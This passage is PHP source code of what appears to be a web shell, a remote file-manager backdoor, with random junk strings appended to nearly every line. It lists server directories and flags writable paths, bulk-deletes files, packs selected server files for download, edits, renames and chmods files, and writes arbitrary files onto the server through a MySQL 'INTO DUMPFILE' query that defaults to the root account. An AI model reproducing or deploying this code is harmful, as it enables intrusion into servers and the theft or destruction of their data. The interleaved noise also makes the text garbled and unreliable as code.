  334.                         $dfiles='';
    ! d  V, w# P6 v: r6 C
  335.                         foreach ($dl as $filepath => $value) {
    ; }' h3 n. M$ g+ Z6 i7 L! [
  336.                                 $dfiles.=$filepath.',';3 I9 s: l: q" o: k2 I) G2 S) r
  337.                         }9 |# e* P5 h4 R; x: g- v' W
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);9 ~1 V& f) }* @- b# E. x, O
  339.                         $dl=explode(',',$dfiles);$ u5 f( W) b9 H1 t
  340.                         $zip=new PHPZip($dl);
    7 W4 A& ^* S  x: s6 r5 y! m
  341.                         $code=$zip->out;
    5 L$ h& z9 v8 r8 W$ R9 i( J
  342.                         header('Content-type: application/octet-stream');# Y% C8 t# q; ^/ o9 ~
  343.                         header('Accept-Ranges: bytes');
    5 z, S( |, Y, Y
  344.                         header('Accept-Length: '.strlen($code));7 l% W1 H1 s1 r" }' A0 W2 L
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');5 W: E5 T0 _; k; w" Y! ^
  346.                         echo $code;
    : e7 q0 ~( T$ e( s! s3 \/ Y' T4 M
  347.                         exit;
    3 D  `! S- d- J5 T4 O
  348.                 } else {$ `; q, l0 y1 ~% U; g7 c
  349.                         m('Please select file(s)');
    8 ^9 C# P) L2 L! E8 F9 x# e2 c% ?7 z
  350.                 }
    + P% f3 I3 k, `& p& c7 O9 r! L
  351.         }1 q6 H/ a5 J8 `. k$ z
  352. / z. D2 U, C1 m/ K7 ]* U, P; X- [3 e
  353.         // 批量删除文件: |$ C# d1 l3 d6 ~  r. m! d
  354.         elseif($doing == 'delfiles') {; N! x: S3 w  d/ C. A
  355.                 if ($dl) {) F* v/ m; Q/ t, m* i
  356.                         $dfiles='';7 x0 d. o; ?9 j3 t  S
  357.                         $succ = $fail = 0;7 j. v: k( |2 H# S: M8 f& ]' M
  358.                         foreach ($dl as $filepath => $value) {
    " T* S" X$ ^( k$ T
  359.                                 if (@unlink($filepath)) {5 g$ }7 A8 U% {$ x2 C* r' C4 l  i- U
  360.                                         $succ++;
    ' a' I3 I" ^, k& H" P: v: _
  361.                                 } else {3 s' |$ `9 ]0 g8 m& Z
  362.                                         $fail++;
    7 x$ T, j. Q1 I5 v0 ~1 y
  363.                                 }
    0 s& w! U& e+ i$ I+ E
  364.                         }
    4 `: G4 _5 C) [- E( N+ ]: V' y
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);. Y7 x) ^  o' _0 P8 [$ i
  366.                 } else {
    0 C6 F, y0 o, z& d3 Q
  367.                         m('Please select file(s)');, ?0 `' z( G) A
  368.                 }
      V5 {# G! L- e# H3 h
  369.         }) u9 v  |) w" |/ C' b, W, z

  370.   S, B) @* a/ d
  371.         //操作完毕" B* R4 V" Y3 M
  372.         formhead(array('name'=>'createdir'));. y3 T( N! N3 _9 n
  373.         makehide('newdirname');
    ! y. E3 M: H$ h% _' a8 w
  374.         makehide('dir',$nowpath);
    . U6 R' k6 |; G) \8 \# \
  375.         formfoot();% F! ~6 k( d' s2 j
  376.         formhead(array('name'=>'fileperm'));* \( U- j! E4 N$ X% z! v
  377.         makehide('newperm');9 H, \! v* N; H2 a9 C. t# @
  378.         makehide('pfile');' p4 J! y8 V. B
  379.         makehide('dir',$nowpath);$ W, V/ c/ r6 k) O; s( V1 r
  380.         formfoot();5 g: z- ]/ n! R) i/ T) L/ N  g2 p
  381.         formhead(array('name'=>'copyfile'));* O; G: v6 O5 r  a7 ~! K
  382.         makehide('sname');
    % t/ Y, F: h$ U+ h
  383.         makehide('tofile');
    , f2 p. ~6 r( N) e$ ?
  384.         makehide('dir',$nowpath);
    6 a, ?- u/ `" H( W5 o$ z
  385.         formfoot();
      |) g) I' M* b/ r: E- P
  386.         formhead(array('name'=>'rename'));+ j% E5 T3 V& T. ]
  387.         makehide('oldname');
    # x, V8 d+ d8 [2 Y
  388.         makehide('newfilename');. T3 {- y5 v  E- @% @! b
  389.         makehide('dir',$nowpath);  A) i4 g5 Z1 H& M/ E1 K
  390.         formfoot();. p6 \9 G0 V# @
  391.         formhead(array('name'=>'fileopform'));0 ~2 B; g1 M, U! v. c
  392.         makehide('action');
    6 e  f. U8 C7 w  b7 G
  393.         makehide('opfile');
    1 o8 u3 @# g  A( {. {$ f/ ?
  394.         makehide('dir');
    6 O5 r# b0 m8 M, B( I6 S# j
  395.         formfoot();8 w& a$ K1 {4 ~. M9 o0 b

  396. " u$ o  ^: l2 S( n
  397.         $free = @disk_free_space($nowpath);
    3 x, X+ v" j8 A; |
  398.         !$free && $free = 0;
    ( Z/ C' f3 i. u' u! @1 d& T
  399.         $all = @disk_total_space($nowpath);7 G. b+ ?# ~0 h7 n  a& I9 }
  400.         !$all && $all = 0;
    + G! H1 X. J. d& g. g( U9 R
  401.         $used = $all-$free;
    5 G6 k" {2 i5 g( Z9 B# R, ^
  402.         $used_percent = @round(100/($all/$free),2);! i* J& o+ |  p  R, s- l
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');4 L; w- I! p  k) ?

  404. & a7 A: a5 c! v2 U
  405. ?>
    , @& j/ K# E- Q+ F% W) i" i/ e
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
    : }5 }* f7 b+ {+ z8 l/ @- ~
  407.   <form action="" method="post" id="godir" name="godir">6 g- q' i7 D" z
  408.   <tr>
    5 p/ P" v: n$ H' Z: j1 N0 K
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td># B8 H/ Y' W" \
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>( _2 [8 P+ z4 H  T
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>7 Z6 c. p) L6 {3 s
  412.   </tr>5 f  q1 X& F% S$ p0 H, b  x
  413.   </form>
    9 P& L1 `4 \" i- a* G
  414. </table>3 ]9 }) F# V/ }. K/ h
  415. <script type="text/javascript">1 F7 ]5 _2 q' ]3 ?) d" J
  416. function createdir(){7 [7 }, y; M4 n) q: |* y  J
  417.         var newdirname;+ J' P3 D: v4 \$ d8 e
  418.         newdirname = prompt('Please input the directory name:', '');% A2 u7 K! P6 T- j
  419.         if (!newdirname) return;( p1 _. l2 ?4 ]2 _2 E) O; X5 X
  420.         $('createdir').newdirname.value=newdirname;+ W2 P( X( M2 D1 k# Q6 i
  421.         $('createdir').submit();  X5 x- b, N. C3 ]5 _7 n: `
  422. }
    6 s- m/ n7 m0 Q. `% z$ H8 N+ A0 o
  423. function fileperm(pfile){
    ( j6 z% S3 b/ x
  424.         var newperm;
    % \$ S# @. k! y# z& G8 r. n; n
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');+ F8 [1 e8 z+ ]& X) U, n7 a, ^
  426.         if (!newperm) return;
    % k) L7 ~* j7 E( O) |; V7 n! j
  427.         $('fileperm').newperm.value=newperm;' r7 y5 y5 k) l: K+ g, {
  428.         $('fileperm').pfile.value=pfile;& b5 F$ i4 j/ |) I/ k+ I
  429.         $('fileperm').submit();
    4 ~, Y" \. W+ M. T; D; k2 Q2 S
  430. }/ C$ _0 C; w2 [' D
  431. function copyfile(sname){
    7 X$ Y8 j( A) ]: Z# R- ?& P0 R
  432.         var tofile;2 \3 i5 X8 H3 q2 d$ }% K: E: h/ [
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
    , I- W) {: \/ y: l& a) W
  434.         if (!tofile) return;) Z$ K5 h' P: d) h# D! v% u
  435.         $('copyfile').tofile.value=tofile;
    ; N5 K2 u, Y% r% ]- w+ o5 h
  436.         $('copyfile').sname.value=sname;
    5 J( n4 i6 D! f; l" L% k3 P8 t
  437.         $('copyfile').submit();$ g. W* G/ d+ n" w1 g" x2 C
  438. }
    7 g& V" X# X0 N0 V% U
  439. function rename(oldname){
    , G4 j7 f" k9 V* }( l7 D$ u* w
  440.         var newfilename;
    ! l0 t3 @' ^" H- A' V: }$ r
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    . `" d5 `3 i! j
  442.         if (!newfilename) return;
    / P4 z, O& f! ]4 ]. G* D
  443.         $('rename').newfilename.value=newfilename;; O) `8 f6 b! n, `1 @
  444.         $('rename').oldname.value=oldname;
    & b. v. F# j5 Y
  445.         $('rename').submit();) d/ y; s1 p5 V( a# w9 E& b$ l
  446. }
    # @- P- p& |, f1 g/ z
  447. function dofile(doing,thefile,m){  t* l7 c7 r' T1 o* r9 V
  448.         if (m && !confirm(m)) {8 Q0 ]6 |$ q  V
  449.                 return;1 t& v" E4 `" t8 V2 l! v9 i
  450.         }9 y4 u( r/ K8 z
  451.         $('filelist').doing.value=doing;2 [6 o  c% Z2 g! M. E) H
  452.         if (thefile){8 C4 I3 S2 u1 c5 h  I: L/ q9 M: R
  453.                 $('filelist').thefile.value=thefile;' J+ l9 T; ?% c, h* V4 E$ ~
  454.         }
    & Y3 C! x2 Y4 e+ l/ J+ M, f
  455.         $('filelist').submit();+ j+ D4 w5 g1 c0 \- B
  456. }
    2 U# ]: Y3 Y: P1 B
  457. function createfile(nowpath){- l; @  e$ O8 \* c. y% v
  458.         var filename;( m2 p! [/ N* U( v/ b! b) U
  459.         filename = prompt('Please input the file name:', '');
    : [1 S1 b% ~4 |+ l1 `! r. C; L! m
  460.         if (!filename) return;
    , f# G7 ], j, J8 V* W
  461.         opfile('editfile',nowpath + filename,nowpath);3 u1 P* w- E8 j; R
  462. }
    ; _+ n6 s) d$ z) n+ B
  463. function opfile(action,opfile,dir){
    , @, U' E. Z$ V$ q  _
  464.         $('fileopform').action.value=action;7 R* c( r) v: |* u6 ^
  465.         $('fileopform').opfile.value=opfile;  R4 B9 Y, |4 I8 A' u& |
  466.         $('fileopform').dir.value=dir;" E3 C: |, d4 o& f' |' B$ w
  467.         $('fileopform').submit();
    9 o% K5 ]7 ]( e% _" I' `' b
  468. }  ?' t, `1 J, v& y. F' _5 \. [& M
  469. function godir(dir,view_writable){
    9 }: ]8 D% ^- ^" z
  470.         if (view_writable) {
    $ }6 {: W$ R; p! @' r
  471.                 $('godir').view_writable.value=1;; o% s) {+ f0 u7 B' U5 }! U' K& Z& ?
  472.         }+ x- c9 k& T) u! }/ W- T
  473.         $('godir').dir.value=dir;: _3 G" @. Z+ ^! ]7 l) B2 k# Y
  474.         $('godir').submit();
    . Q3 a0 P+ n2 E7 O3 p
  475. }/ W; U6 `8 n6 B" M+ ^# j8 X  o& s1 E8 V
  476. </script>
    / M; D  G1 j1 Q: G! D. r/ Y8 l4 f
  477.   <?php7 d2 g, f  {7 v" y( }  q( e, d/ |1 V! U
  478.         tbhead();/ ?) N" A- I! J8 p- p
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    : V- ^( M8 R+ O+ y  G" w* c2 W  F
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');9 e' m1 I! M$ c, f. M# X* _5 c
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');, s; S) V' c% o, |& }
  482.         if ($view_writable) {
    " @  V, ?+ n" {5 u. c  N
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
    " a" H/ m# s+ m! Z' {4 b
  484.         } else {  r0 ?' u2 x; d/ Z/ O
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');, D$ {  j1 v5 {2 i0 E
  486.         }+ [; T) ]( }/ G$ q4 E
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');' _: j& S, X" [4 y( E* E
  488.         if (IS_WIN && IS_COM) {2 P# W1 [2 l' s' T' G
  489.                 $obj = new COM('scripting.filesystemobject');
    4 L3 ?9 e+ `' M- q* y7 @
  490.                 if ($obj && is_object($obj)) {2 u7 ]+ C- x) S0 |0 L1 ]( T
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
    4 n! e# f( p+ G" G; H$ s
  492.                         foreach($obj->Drives as $drive) {; p) L" d2 o, k) o. p4 V+ k
  493.                                 if ($drive->DriveType == 2) {  q; ~% h+ m9 X/ ]$ p
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
    5 I: t$ k9 Y0 m9 h  ~7 ^
  495. Free:'.sizecount($drive->FreeSpace).'6 b. N: v9 D6 U7 s
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    4 l* q/ \, a! U/ W( b" @
  497.                                 } else {: S. l% f3 M9 V4 s
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');) E% ^2 o& o- w3 R9 W1 U2 w( C
  499.                                 }
    . T1 D+ {0 ?7 j/ h& I
  500.                         }
    6 n" G" W8 V9 y5 J/ W, W
  501.                 }! d. f+ M4 \0 y* M! u
  502.         }8 A4 s' u( ?" M' r  Q" U

  503. ( m. v+ s: r( ~1 j4 u( ^
  504.         p('</td></tr></form>');7 l0 d. D- i- R* T* |( l

  505. + h: y8 U, q, l
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');' O# Z# s' }$ X( }! Y

  507. 0 Y5 }) j" e2 b- o# i9 u
  508.         //查看所有可写文件和目录
    * N, S4 m# i( s
  509.         $dirdata=array();
    : C% B& z& ?) H/ w
  510.         $filedata=array();" Q5 s4 b4 n7 X! n2 k1 N2 p3 g6 Y
  511. ' j: I$ d  `$ H4 \" g+ a2 w
  512.         if ($view_writable) {  }- m7 J# V) w6 C
  513.                 $dirdata = GetList($nowpath);
    2 U: l; d) J5 R! E3 F& ]; q
  514.         } else {
    * H/ U; V! I) A3 u3 ?( ?
  515.                 // 目录列表
    8 P$ K$ J2 \) T) q+ N4 x
  516.                 $dirs=@opendir($dir);  J( M  a0 l0 _2 w3 Z2 v/ N
  517.                 while ($file=@readdir($dirs)) {
    2 B( h4 E7 b: S3 \$ n1 I& u3 }1 a
  518.                         $filepath=$nowpath.$file;+ g" H) E* O7 A  }/ M
  519.                         if(@is_dir($filepath)){. e6 v2 }3 ?) v7 x) _
  520.                                 $dirdb['filename']=$file;
    ) R: l5 k+ P( Z$ h2 M
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));2 J; s# U$ @0 V) `$ j# {8 N; W& P
  522.                                 $dirdb['dirchmod']=getChmod($filepath);2 q9 y9 E( P) \- ^2 p* u+ ?
  523.                                 $dirdb['dirperm']=getPerms($filepath);3 M3 d+ W& n3 |
  524.                                 $dirdb['fileowner']=getUser($filepath);
    - g% |* T( z( l0 @0 D
  525.                                 $dirdb['dirlink']=$nowpath;7 q  U2 A  v) J+ u3 y8 u
  526.                                 $dirdb['server_link']=$filepath;" w7 r# _" Z  O
  527.                                 $dirdb['client_link']=ue($filepath);
    ! R! V1 @$ T1 w* I1 l
  528.                                 $dirdata[]=$dirdb;) j% l* f6 X( k# }2 C% g6 K
  529.                         } else {                " L- Y" J5 ]3 |  V4 `0 J( o1 M# m
  530.                                 $filedb['filename']=$file;
    " X: e; r) n* q# J
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
    ( G, }; R3 `+ U- U) |4 W# _4 S
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    ) Q& s9 t- L' e3 r6 |) e6 M
  533.                                 $filedb['filechmod']=getChmod($filepath);
    6 [4 r1 c* [  m4 V. \
  534.                                 $filedb['fileperm']=getPerms($filepath);$ V( C% J  f) u5 P  U4 X7 x
  535.                                 $filedb['fileowner']=getUser($filepath);% v7 R0 h, q6 F* J
  536.                                 $filedb['dirlink']=$nowpath;
    * ]0 t0 v& h2 t. K
  537.                                 $filedb['server_link']=$filepath;! e! ^& x7 Z+ [8 h4 X1 }
  538.                                 $filedb['client_link']=ue($filepath);
    9 M' z* Z: |( z5 E
  539.                                 $filedata[]=$filedb;
    . n0 D. [; d" b; Y# t1 j$ _5 M
  540.                         }& o/ s) j, X8 H" v1 p3 e
  541.                 }// while# Q0 F2 Y9 s* U0 {$ V0 H
  542.                 unset($dirdb);  I' {5 I0 `/ Z3 j, K* T
  543.                 unset($filedb);9 v3 V  t& d' F" H  Z; C
  544.                 @closedir($dirs);3 I; T8 O& E$ k) z: H9 B
  545.         }) r  u) t7 V+ D
  546.         @sort($dirdata);
    4 {8 u8 A1 L' S
  547.         @sort($filedata);* v( l7 C- a: X" U
  548.         $dir_i = '0';
    4 {: }  Z0 e$ @
  549.         foreach($dirdata as $key => $dirdb){4 h! c7 B4 }7 ^
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
    ' g( O: ]1 o) k
  551.                         $thisbg = bg();
    # ?! ^: E5 @2 M; M, n- T
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ' @3 l  M$ u/ c( r" s- J% O
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');4 _) H; O' Q7 E3 s- D! y
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
    ; d8 t% O% d2 u+ p# R" w$ B, f
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
    / u7 y9 g: Q; b1 }4 Y. \  V
  556.                         p('<td nowrap>--</td>');
    3 A, B+ U  j1 a) s: k: f, ?3 D
  557.                         p('<td nowrap>');
    % A6 K! ]2 \- v# d+ W% }- S
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');9 p- I& ?2 j# E% Z. o. [; s
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');& E& Q% O1 k7 e$ z' S
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    : z- }" m" R: W7 k- c
  561.                         p('</tr>');
    ( n& u; E2 s% Y  V  z- ~
  562.                         $dir_i++;
    3 \8 A  B. q: x! m' s
  563.                 } else {1 z& B7 n. Y+ Q% {( z4 z
  564.                         if($dirdb['filename']=='..') {9 y; Z4 d2 t0 U9 z
  565.                                 p('<tr class='.bg().'>');; p) o# h0 t& q9 ^: q; t
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
    ! i* T7 E3 I- ]8 x8 l
  567.                                 p('</tr>');) L7 `7 e" u5 u( _; G
  568.                         }; k' X: I0 }& q2 U$ N
  569.                 }" l! n7 C7 O+ [2 Q
  570.         }
    / W  X" |* ]/ ^3 ]3 i/ ?

  571. & i5 L7 o5 x$ ^
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
    5 `/ v% R  E& @% ]1 H3 X
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
    ' C$ H! `8 G. @. I) L
  574.         makehide('action','file');
    0 v( `/ c0 S, {, K; B# u8 S
  575.         makehide('thefile');
    8 [3 u" K# V7 B1 u
  576.         makehide('doing');* w; _7 a+ I# S8 v0 P8 i
  577.         makehide('dir',$nowpath);
    0 B. @! z" v. D+ Q0 b- R6 Z: O
  578.         $file_i = '0';. t7 a3 o  ]+ D$ L! E
  579.         foreach($filedata as $key => $filedb){% O( d0 `( }( s& B- x7 f2 @; |% _
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
    $ c! i6 M+ H- @8 I1 y1 A
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);5 q! i' b7 q1 g6 I
  582.                         $thisbg = bg();
    ! c0 B& B! R* C) g) a
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    0 \. ]3 u- q9 x) [4 [  q
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');8 a' b- O0 L& E% ^  @9 a5 M
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
    + L, Y3 I: O  a# l+ [8 q
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
    4 M! @1 K9 v9 ~) g' S
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');
    ( @+ b3 H5 b5 A& A! m8 u
  588.                         p('<td nowrap>');
    4 b$ ~* @1 J6 s  q) V* D9 f
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    7 J  y; z+ h) t/ k! p
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');& f% T4 [7 L: M- l
  591.                         p('<td nowrap>');
    8 H  f0 C5 y- [2 E
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
    - Y) g) L2 l% ~+ S' k& [8 l
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
    / ?) m% K, X- R8 q% K
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
    4 ~& |% U% M5 Y# b
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
    " H; k1 g1 O& R: w9 O
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
    8 I$ A& O4 B3 D1 \# }  J5 S% a
  597.                         p('</td></tr>');
    + ?1 V! k6 h1 @4 X9 S. u
  598.                         $file_i++;% P+ |5 Z: O) |8 b# V1 W2 r
  599.                 }
    : I/ R# j" [2 Q8 S0 E
  600.         }# f9 f; |' d* ~4 D2 V/ l+ L
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');8 b, H# Q5 i& Y1 }2 ?
  602.         p('</form></table>');% v' p$ {. f% N( e8 _2 b+ d
  603. }// end dir. w' c4 B$ {2 R2 f8 l9 P
  604. 1 ^9 o9 ?. Q, L
  605. elseif ($action == 'sqlfile') {8 J0 k: _8 ?, ~# g3 ]* g& Z% ~; }7 ^
  606.         if($doing=="mysqlupload"){
    ' w. \: x( f  j5 X6 b8 H
  607.                 $file = $_FILES['uploadfile'];- E5 @+ B* z& m
  608.                 $filename = $file['tmp_name'];
    5 X$ x, Q- u' W7 h
  609.                 if (file_exists($savepath)) {
    * o' n- y6 x$ T
  610.                         m('The goal file has already existed');
    1 T, N7 `- B& e( @# j. t* [
  611.                 } else {) j0 k5 `4 Y& _# R1 q! s( D
  612.                         if(!$filename) {
    1 `/ q& U6 D& C% E4 c
  613.                                 m('Please choose a file');
    ! ?/ k) o) B; ?/ a2 X4 P. P
  614.                         } else {, k' f2 _" b. K: U, N: J
  615.                                 $fp=@fopen($filename,'r');- v4 @" {# w" }+ l, C
  616.                                 $contents=@fread($fp, filesize($filename));) L6 _6 a) o% Y0 K% r" H
  617.                                 @fclose($fp);
    % S) j( @% u7 s5 P' S, u7 ~
  618.                                 $contents = bin2hex($contents);: T2 C. `9 _: @
  619.                                 if(!$upname) $upname = $file['name'];
    * W% Y- E; a( t( ?! w
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);# Q! k7 f1 B) F$ p! o: F
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
    7 P; p; a, E$ f+ `7 l0 T
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
      d+ r" v0 T4 A- q6 s1 X
  623.                         }+ i1 S9 w1 T0 j# z& w0 ~
  624.                 }- j4 P- T: ?/ M2 Y( A; z' L* r- E
  625.         }: g7 ^3 _- f9 u9 s) ?
  626. ?>
    , Z  `" [+ }9 [- r: ^/ A
  627. <script type="text/javascript">; p6 z9 w2 |2 i) z/ a, j. |, x
  628. function mysqlfile(doing){0 Y; a5 h+ Z# C% H& H0 i, ^3 R
  629.         if(!doing) return;" \2 E* Z" b! _3 ?! p# ~( J$ J
  630.         $('doing').value=doing;
    " w1 ?3 G+ O4 U- w3 b
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    ! c. h8 p; k9 H3 I) W6 A7 U6 x. z
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
    * x1 l" ]! ?4 X9 a, Z
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
    8 \& p1 Y! @% u2 A! A$ b; B- ]
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;+ [5 [. @, N7 Y
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;# q, ^0 Z" t* B$ \# u6 [" L2 Q4 ~
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
    4 Z3 H" S; F2 B$ w6 R3 d3 `
  637.         $('mysqlfile').submit();( S. \4 n6 e+ A. y9 E7 l1 p
  638. }. `( z% C* _. D6 M9 U
  639. </script>2 }0 U1 x& G1 M1 i% y& I
  640. <?php* P( C; B+ I- k5 N
  641.         !$dbhost && $dbhost = 'localhost';
    9 y) U& H. z% U% {, M
  642.         !$dbuser && $dbuser = 'root';( d5 T5 I9 E, ^. [9 V& `
  643.         !$dbport && $dbport = '3306';
    & j* v; h. A1 |" h% r* p6 Y
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    6 j1 ?. x% j4 k" g# o
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
    " Y- E9 {, _" p4 V
  646.         makehide('action','sqlfile');
    5 P6 P  [2 y' o4 m8 r
  647.         p('<p>');
    # Z0 t6 c3 {$ T' v7 K0 ?1 C. S
  648.         p('DBHost:');
    - A6 }2 [4 z2 @2 u( J: I
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    * x5 ^) N) ^) \9 N: m
  650.         p(':');
    * ~4 U! [& I" Z7 W. g5 U9 l, \9 t
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    5 k2 |2 F  l; {/ ?
  652.         p('DBUser:');
    % B' O9 U# A0 v' N" ~7 F
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    ) e" p$ B" q5 n5 X
  654.         p('DBPass:');
    1 P5 q* o: q+ c
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
      j0 M$ Y4 Y( Y; p$ w, Y
  656.         p('DBName:');
      m3 D6 U) `+ ?# i: {8 o1 F
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));% u5 {& z: m  z0 x: p9 _
  658.         p('DBCharset:');& I5 z9 b1 |* }4 F4 A1 s
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));& D5 b2 u) T  W
  660.         p('</p>');, p- @! I, N6 t, p. S# A
  661.         formfoot();- x1 ?; c8 U: J! c/ Z
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');, O6 e4 k# ~% E" j* `
  663.         p('<h2>Upload file</h2>');
    7 P) ]- u+ s+ Y
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
    # L" q: r3 O; s2 [! |3 }
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');  }4 Y: K" x/ t7 ~, u0 o
  666.         p('<h2>Download file</h2>');
    ( \! P$ ?3 m9 Y! w5 B" f0 b1 ~8 O
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
      f2 x/ _; g! K% p
  668.         makehide('dbhost');* V0 _1 T' @8 P# N/ C% v
  669.         makehide('dbport');
    5 Z0 e+ j" J! M( o0 L; Z
  670.         makehide('dbuser');
    6 o7 r, u# H- f9 B
  671.         makehide('dbpass');
    8 t# j+ Z$ Z2 B2 t" J
  672.         makehide('dbname');
    5 `! d1 ?& h" q/ ?
  673.         makehide('charset');
    + U4 h+ A3 J0 M4 d/ J
